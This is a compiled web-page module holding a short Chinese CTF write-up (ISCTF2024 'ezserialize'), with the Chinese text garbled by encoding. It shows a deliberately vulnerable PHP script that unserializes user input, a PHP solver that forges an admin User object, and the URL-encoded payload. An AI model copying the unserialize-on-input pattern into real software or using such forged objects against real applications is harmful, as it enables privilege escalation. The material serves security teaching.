1import{_ as s,c as a,f as p,o as e}from"./app-D7CCjthX.js";const t={};function l(c,n){return e(),a("div",null,[...n[0]||(n[0]=[p(`<div class="language-php line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="php" style="--vp-collapsed-lines:15;"><pre><code class="language-php"><span class="line"><span class="token php language-php"><span class="token delimiter important"><?php</span></span> 2<span class="line"><span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> 3<span class="line"></span> 4<span class="line"><span class="token keyword">class</span> <span class="token class-name-definition class-name">Flag</span> <span class="token punctuation">{</span></span> 5<span class="line"> <span class="token keyword">private</span> <span class="token variable">$flag</span><span class="token punctuation">;</span></span> 6<span class="line"></span> 7<span class="line"> <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> 8<span class="line"> <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">flag</span> <span class="token operator">=</span> <span class="token function">file_get_contents</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/flag'</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> 9<span class="line"> <span class="token punctuation">}</span></span> 10<span class="line"></span> 11<span class="line"> <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">getFlag</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> 12<span class="line"> <span class="token keyword">return</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">flag</span><span class="token punctuation">;</span></span> 13<span class="line"> <span class="token punctuation">}</span></span> 14<span class="line"></span> 15<span class="line"> <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> 16<span class="line"> <span class="token keyword">return</span> <span class="token string double-quoted-string">"You can't directly access the flag!"</span><span class="token punctuation">;</span></span> 17<span class="line"> <span class="token punctuation">}</span></span> 18<span class="line"><span class="token punctuation">}</span></span> 19<span class="line"></span> 20<span class="line"><span class="token keyword">class</span> <span class="token class-name-definition class-name">User</span> <span class="token punctuation">{</span></span> 21<span class="line"> <span class="token keyword">public</span> <span class="token variable">$username</span><span class="token punctuation">;</span></span> 22<span class="line"> <span class="token keyword">public</span> <span class="token variable">$isAdmin</span> <span class="token operator">=</span> <span class="token constant boolean">false</span><span class="token punctuation">;</span></span> 23<span class="line"></span> 24<span class="line"> <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token variable">$username</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> 25<span class="line">
25 <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">username</span> <span class="token operator">=</span> <span class="token variable">$username</span><span class="token punctuation">;</span></span> 26<span class="line"> <span class="token punctuation">}</span></span> 27<span class="line"></span> 28<span class="line"> <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__wakeup</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> 29<span class="line"> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">isAdmin</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> 30<span class="line"> <span class="token keyword">echo</span> <span class="token string double-quoted-string">"Welcome, admin! Here's your flag: "</span> <span class="token operator">.</span> <span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Flag</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">getFlag</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> 31<span class="line"> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span> 32<span class="line"> <span class="token keyword">echo</span> <span class="token string double-quoted-string">"Hello, "</span> <span class="token operator">.</span> <span class="token function">htmlspecialchars</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">username</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token string double-quoted-string">"!"</span><span class="token punctuation">;</span></span> 33<span class="line"> <span class="token punctuation">}</span></span> 34<span class="line"> <span class="token punctuation">}</span></span> 35<span class="line"><span class="token punctuation">}</span></span> 36<span class="line"></span> 37<span class="line"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'data'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> 38<span class="line"> <span class="token variable">$data</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'data'</span><span class="token punctuation">]</span><span class="token punctuation">;</span></span> 39<span class="line"></span> 40<span class="line"> <span class="token variable">$object</span> <span class="token operator">=</span> <span class="token function">unserialize</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> 41<span class="line"> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$object</span> <span class="token keyword">instanceof</span> <span class="token class-name">User</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> 42<span class="line">
42 <span class="token keyword">echo</span> <span class="token variable">$object</span><span class="token punctuation">;</span></span> 43<span class="line"> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span> 44<span class="line"> <span class="token keyword">echo</span> <span class="token string double-quoted-string">"Invalid object!"</span><span class="token punctuation">;</span></span> 45<span class="line"> <span class="token punctuation">}</span></span> 46<span class="line"><span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span> 47<span class="line"> <span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> 48<span class="line"><span class="token punctuation">}</span></span> 49<span class="line"><span class="token delimiter important">?></span></span></span> 50<span class="line"></span></code></pre><div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0;"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><p>æä»¬éè¦æé ä¸ä¸ª <code>User</code> 对象ï¼å¹¶å° <code>isAdmin</code> 设置为 <code>true</code>ï¼ä»¥ä¾¿å¨ååºååæ¶è§¦å <code>__wakeup()</code> æ¹æ³å¹¶æ§è¡ <code>getFlag()</code> æ¥è¯»å <code>flag</code>ã</p><div class="language-php line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="php" style="--vp-collapsed-lines:15;"><pre><code class="language-php"><span class="line"><span class="token php language-php"><span class="token delimiter important"><?php</span></span> 51<span class="line"><span class="token keyword">class</span> <span class="token class-name-definition class-name">Flag</span> <span class="token punctuation">{</span></span> 52<span class="line"> <span class="token keyword">private</span> <span class="token variable">$flag</span><span class="token punctuation">;</span></span> 53<span class="line"></span> 54<span class="line"> <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> 55<span class="line"> <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">flag</span> <span class="token operator">=</span> <span class="token function">file_get_contents</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/flag'</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> 56<span class="line"> <span class="token punctuation">}</span></span> 57<span class="line"></span> 58<span class="line"> <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">getFlag</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> 59<span class="line">
59 <span class="token keyword">return</span> <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">flag</span><span class="token punctuation">;</span></span> 60<span class="line"> <span class="token punctuation">}</span></span> 61<span class="line"></span> 62<span class="line"> <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> 63<span class="line"> <span class="token keyword">return</span> <span class="token string double-quoted-string">"You can't directly access the flag!"</span><span class="token punctuation">;</span></span> 64<span class="line"> <span class="token punctuation">}</span></span> 65<span class="line"><span class="token punctuation">}</span></span> 66<span class="line"></span> 67<span class="line"><span class="token keyword">class</span> <span class="token class-name-definition class-name">User</span> <span class="token punctuation">{</span></span> 68<span class="line"> <span class="token keyword">public</span> <span class="token variable">$username</span><span class="token punctuation">;</span></span> 69<span class="line"> <span class="token keyword">public</span> <span class="token variable">$isAdmin</span> <span class="token operator">=</span> <span class="token constant boolean">false</span><span class="token punctuation">;</span></span> 70<span class="line"></span> 71<span class="line"> <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token variable">$username</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> 72<span class="line"> <span class="token variable">$this</span><span class="token operator">-></span><span class="token property">username</span> <span class="token operator">=</span> <span class="token variable">$username</span><span class="token punctuation">;</span></span> 73<span class="line"> <span class="token punctuation">}</span></span> 74<span class="line"></span> 75<span class="line"> <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__wakeup</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> 76<span class="line"> <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">isAdmin</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span> 77<span class="line"> <span class="token keyword">echo</span> <span class="token string double-quoted-string">"Welcome, admin! Here's your flag: "</span> <span class="token operator">.</span> <span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Flag</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">-></span><span class="token function">getFlag</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> 78<span class="line"> <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span> 79<span class="line"> <span class="token keyword">echo</span> <span class="token string double-quoted-string">"Hello, "</span> <span class="token operator">.</span> <span class="token function">htmlspecialchars</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-></span><span class="token property">username</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token string double-quoted-string">"!"</span><span class="token punctuation">;</span></span> 80<span class="line">
80 <span class="token punctuation">}</span></span> 81<span class="line"> <span class="token punctuation">}</span></span> 82<span class="line"><span class="token punctuation">}</span></span> 83<span class="line"></span> 84<span class="line"><span class="token variable">$payload</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"attacker"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> 85<span class="line"><span class="token variable">$payload</span><span class="token operator">-></span><span class="token property">isAdmin</span> <span class="token operator">=</span> <span class="token constant boolean">true</span><span class="token punctuation">;</span></span> 86<span class="line"></span> 87<span class="line"><span class="token variable">$data</span> <span class="token operator">=</span> <span class="token function">serialize</span><span class="token punctuation">(</span><span class="token variable">$payload</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> 88<span class="line"></span> 89<span class="line"><span class="token keyword">echo</span> <span class="token function">urlencode</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> 90<span class="line"><span class="token delimiter important">?></span></span></span> 91<span class="line"></span></code></pre><div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0;"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><p>è¿è¡åæ¿å° URL ç¼ç çåºååå符串ï¼è¿ä¸ªåç¬¦ä¸²å°±æ¯æä»¬è¦ä¼ éç <code>data</code> åæ°ã</p><div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A8%3A%22attacker%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A1%3B%7D</span> 92<span class="line"></span></code></pre><div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0;"><div class="line-number"></div></div></div><p>ç¶åå°±å¯ä»¥æ¿å° flag äºã</p>`,6)])])}const o=s(t,[["render",l]]),u=JSON.parse(`{"path":"/posts/ezserialize-isctf2024.html","title":"PHPååºåå | ISCTF2024 | Web ezserialize","lang":"zh-CN","frontmatter":{"title":"PHPååºåå | ISCTF2024 | Web ezserialize","category":["CTF"],"tag":["Web","PHP","ååºååæ¼æ´"],"description":"æä»¬éè¦æé ä¸ä¸ª User 对象ï¼å¹¶å° isAdmin 设置为 trueï¼ä»¥ä¾¿å¨ååºååæ¶è§¦å __wakeup() æ¹æ³å¹¶æ§è¡ getFlag() æ¥è¯»å flagã è¿è¡åæ¿å° URL ç¼ç çåºååå符串ï¼è¿ä¸ªåç¬¦ä¸²å°±æ¯æä»¬è¦ä¼ éç data åæ°ã ç¶åå°±å¯ä»¥æ¿å° flag äºã","head":[["script",{"type":"application/ld+json"},"{\\"@context\\":\\"https://schema.org\\",\\"@type\\":\\"Article\\",\\"headline\\":\\"PHPååºåå | ISCTF2024 | Web ezserialize\\",\\"image\\":[\\"\\"],\\"dateModified\\":\\"2024-12-10T14:18:03.000Z\\",\\"author\\":[{\\"@type\\":\\"Person\\",\\"name\\":\\"undefined\\",\\"url\\":\\"https://www.hestudio.net/about/\\",\\"email\\":\\"[email protected]\\"}]}"],["meta",{"property":"og:url","content":"https://www.hestudio.net/posts/ezserialize-isctf2024.html"}],["meta",{"property":"og:site_name","content":"heStudio"}],["meta",{"property":"og:title","content":"PHPååºåå | ISCTF2024 | Web ezserialize"}],["meta",{"property":"og:description","content":"æä»¬éè¦æé ä¸ä¸ª User 对象ï¼å¹¶å° isAdmin 设置为 trueï¼ä»¥ä¾¿å¨ååºååæ¶è§¦å __wakeup() æ¹æ³å¹¶æ§è¡ getFlag() æ¥è¯»å flagã è¿è¡åæ¿å° URL ç¼ç çåºååå符串ï¼è¿ä¸ªåç¬¦ä¸²å°±æ¯æä»¬è¦ä¼ éç data åæ°ã ç¶åå°±å¯ä»¥æ¿å° flag äºã"}],["meta",{"property":"og:type","content":"article"}],["meta",{"property":"og:locale","content":"zh-CN"}
92],["meta",{"property":"og:updated_time","content":"2024-12-10T14:18:03.000Z"}],["meta",{"property":"article:tag","content":"ååºååæ¼æ´"}],["meta",{"property":"article:tag","content":"PHP"}],["meta",{"property":"article:tag","content":"Web"}],["meta",{"property":"article:modified_time","content":"2024-12-10T14:18:03.000Z"}]]},"git":{"createdTime":1733820912000,"updatedTime":1733840283000},"readingTime":{"minutes":1.01,"words":302},"filePathRelative":"posts/ezserialize-isctf2024.md","excerpt":"<div class=\\"language-php line-numbers-mode has-collapsed-lines collapsed\\" data-highlighter=\\"prismjs\\" data-ext=\\"php\\" style=\\"--vp-collapsed-lines:15;\\"><pre><code class=\\"language-php\\"><span class=\\"line\\"><span class=\\"token php language-php\\"><span class=\\"token delimiter important\\"><?php</span></span>\\n<span class=\\"line\\"><span class=\\"token function\\">error_reporting</span><span class=\\"token punctuation\\">(</span><span class=\\"token number\\">0</span><span class=\\"token punctuation\\">)</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\"></span>\\n<span class=\\"line\\"><span class=\\"token keyword\\">class</span> <span class=\\"token class-name-definition class-name\\">Flag</span> <span class=\\"token punctuation\\">
92{</span></span>\\n<span class=\\"line\\"> <span class=\\"token keyword\\">private</span> <span class=\\"token variable\\">$flag</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\"></span>\\n<span class=\\"line\\"> <span class=\\"token keyword\\">public</span> <span class=\\"token keyword\\">function</span> <span class=\\"token function-definition function\\">__construct</span><span class=\\"token punctuation\\">(</span><span class=\\"token punctuation\\">)</span> <span class=\\"token punctuation\\">{</span></span>\\n<span class=\\"line\\"> <span class=\\"token variable\\">$this</span><span class=\\"token operator\\">-></span><span class=\\"token property\\">flag</span> <span class=\\"token operator\\">=</span> <span class=\\"token function\\">file_get_contents</span><span class=\\"token punctuation\\">(</span><span class=\\"token string single-quoted-string\\">'/flag'</span><span class=\\"token punctuation\\">)</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\"> <span class=\\"token punctuation\\">}</span></span>\\n<span class=\\"line\\"></span>\\n<span class=\\"line\\"> <span class=\\"token keyword\\">public</span> <span class=\\"token keyword\\">function</span> <span class=\\"token function-definition function\\">getFlag</span><span class=\\"token punctuation\\">(</span><span class=\\"token punctuation\\">)</span> <span class=\\"token punctuation\\">
92{</span></span>\\n<span class=\\"line\\"> <span class=\\"token keyword\\">return</span> <span class=\\"token variable\\">$this</span><span class=\\"token operator\\">-></span><span class=\\"token property\\">flag</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\"> <span class=\\"token punctuation\\">}</span></span>\\n<span class=\\"line\\"></span>\\n<span class=\\"line\\"> <span class=\\"token keyword\\">public</span> <span class=\\"token keyword\\">function</span> <span class=\\"token function-definition function\\">__toString</span><span class=\\"token punctuation\\">(</span><span class=\\"token punctuation\\">)</span> <span class=\\"token punctuation\\">{</span></span>\\n<span class=\\"line\\"> <span class=\\"token keyword\\">return</span> <span class=\\"token string double-quoted-string\\">\\"You can't directly access the flag!\\"</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\"> <span class=\\"token punctuation\\">}</span></span>\\n<span class=\\"line\\"><span class=\\"token punctuation\\">}</span></span>\\n<span class=\\"line\\"></span>\\n<span class=\\"line\\"><span class=\\"token keyword\\">class</span> <span class=\\"token class-name-definition class-name\\">User</span> <span class=\\"token punctuation\\">
92{</span></span>\\n<span class=\\"line\\"> <span class=\\"token keyword\\">public</span> <span class=\\"token variable\\">$username</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\"> <span class=\\"token keyword\\">public</span> <span class=\\"token variable\\">$isAdmin</span> <span class=\\"token operator\\">=</span> <span class=\\"token constant boolean\\">false</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\"></span>\\n<span class=\\"line\\"> <span class=\\"token keyword\\">public</span> <span class=\\"token keyword\\">function</span> <span class=\\"token function-definition function\\">__construct</span><span class=\\"token punctuation\\">(</span><span class=\\"token variable\\">$username</span><span class=\\"token punctuation\\">)</span> <span class=\\"token punctuation\\">{</span></span>\\n<span class=\\"line\\"> <span class=\\"token variable\\">$this</span><span class=\\"token operator\\">-></span><span class=\\"token property\\">username</span> <span class=\\"token operator\\">=</span> <span class=\\"token variable\\">$username</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\"> <span class=\\"token punctuation\\">}</span></span>\\n<span class=\\"line\\"></span>\\n<span class=\\"line\\"> <span class=\\"token keyword\\">public</span> <span class=\\"token keyword\\">function</span> <span class=\\"token function-definition function\\">__wakeup</span><span class=\\"token punctuation\\">(</span><span class=\\"token punctuation\\">)</span> <span class=\\"token punctuation\\">
92{</span></span>\\n<span class=\\"line\\"> <span class=\\"token keyword\\">if</span> <span class=\\"token punctuation\\">(</span><span class=\\"token variable\\">$this</span><span class=\\"token operator\\">-></span><span class=\\"token property\\">isAdmin</span><span class=\\"token punctuation\\">)</span> <span class=\\"token punctuation\\">{</span></span>\\n<span class=\\"line\\"> <span class=\\"token keyword\\">echo</span> <span class=\\"token string double-quoted-string\\">\\"Welcome, admin! Here's your flag: \\"</span> <span class=\\"token operator\\">.</span> <span class=\\"token punctuation\\">(</span><span class=\\"token keyword\\">new</span> <span class=\\"token class-name\\">Flag</span><span class=\\"token punctuation\\">(</span><span class=\\"token punctuation\\">)</span><span class=\\"token punctuation\\">)</span><span class=\\"token operator\\">-></span><span class=\\"token function\\">getFlag</span><span class=\\"token punctuation\\">(</span><span class=\\"token punctuation\\">)</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\"> <span class=\\"token punctuation\\">}</span> <span class=\\"token keyword\\">else</span> <span class=\\"token punctuation\\">
92{</span></span>\\n<span class=\\"line\\"> <span class=\\"token keyword\\">echo</span> <span class=\\"token string double-quoted-string\\">\\"Hello, \\"</span> <span class=\\"token operator\\">.</span> <span class=\\"token function\\">htmlspecialchars</span><span class=\\"token punctuation\\">(</span><span class=\\"token variable\\">$this</span><span class=\\"token operator\\">-></span><span class=\\"token property\\">username</span><span class=\\"token punctuation\\">)</span> <span class=\\"token operator\\">.</span> <span class=\\"token string double-quoted-string\\">\\"!\\"</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\"> <span class=\\"token punctuation\\">}</span></span>\\n<span class=\\"line\\"> <span class=\\"token punctuation\\">}</span></span>\\n<span class=\\"line\\"><span class=\\"token punctuation\\">}</span></span>\\n<span class=\\"line\\"></span>\\n<span class=\\"line\\"><span class=\\"token keyword\\">if</span> <span class=\\"token punctuation\\">(</span><span class=\\"token keyword\\">isset</span><span class=\\"token punctuation\\">(</span><span class=\\"token variable\\">$_GET</span><span class=\\"token punctuation\\">[</span><span class=\\"token string single-quoted-string\\">'data'</span><span class=\\"token punctuation\\">]</span><span class=\\"token punctuation\\">)</span><span class=\\"token punctuation\\">)</span> <span class=\\"token punctuation\\">
92{</span></span>\\n<span class=\\"line\\"> <span class=\\"token variable\\">$data</span> <span class=\\"token operator\\">=</span> <span class=\\"token variable\\">$_GET</span><span class=\\"token punctuation\\">[</span><span class=\\"token string single-quoted-string\\">'data'</span><span class=\\"token punctuation\\">]</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\"></span>\\n<span class=\\"line\\"> <span class=\\"token variable\\">$object</span> <span class=\\"token operator\\">=</span> <span class=\\"token function\\">unserialize</span><span class=\\"token punctuation\\">(</span><span class=\\"token variable\\">$data</span><span class=\\"token punctuation\\">)</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\"> <span class=\\"token keyword\\">if</span> <span class=\\"token punctuation\\">(</span><span class=\\"token variable\\">$object</span> <span class=\\"token keyword\\">instanceof</span> <span class=\\"token class-name\\">User</span><span class=\\"token punctuation\\">)</span> <span class=\\"token punctuation\\">
92{</span></span>\\n<span class=\\"line\\"> <span class=\\"token keyword\\">echo</span> <span class=\\"token variable\\">$object</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\"> <span class=\\"token punctuation\\">}</span> <span class=\\"token keyword\\">else</span> <span class=\\"token punctuation\\">{</span></span>\\n<span class=\\"line\\"> <span class=\\"token keyword\\">echo</span> <span class=\\"token string double-quoted-string\\">\\"Invalid object!\\"</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\"> <span class=\\"token punctuation\\">}</span></span>\\n<span class=\\"line\\"><span class=\\"token punctuation\\">}</span> <span class=\\"token keyword\\">else</span> <span class=\\"token punctuation\\">{</span></span>\\n<span class=\\"line\\"> <span class=\\"token function\\">highlight_file</span><span class=\\"token punctuation\\">(</span><span class=\\"token constant\\">__FILE__</span><span class=\\"token punctuation\\">)</span><span class=\\"token punctuation\\">;</span></span>\\n<span class=\\"line\\"><span class=\\"token punctuation\\">}</span></span>\\n<span class=\\"line\\"><span class=\\"token delimiter important\\">?></span></span></span>\\n<span class=\\"line\\"></span></code></pre>\\n<div class=\\"line-numbers\\" aria-hidden=\\"true\\" style=\\"counter-reset:line-number 0\\"><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div><div class=\\"line-number\\"></div></div><div class=\\"collapsed-lines\\"></div></div>","autoDesc":true}`);export{o as comp,u as data};
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.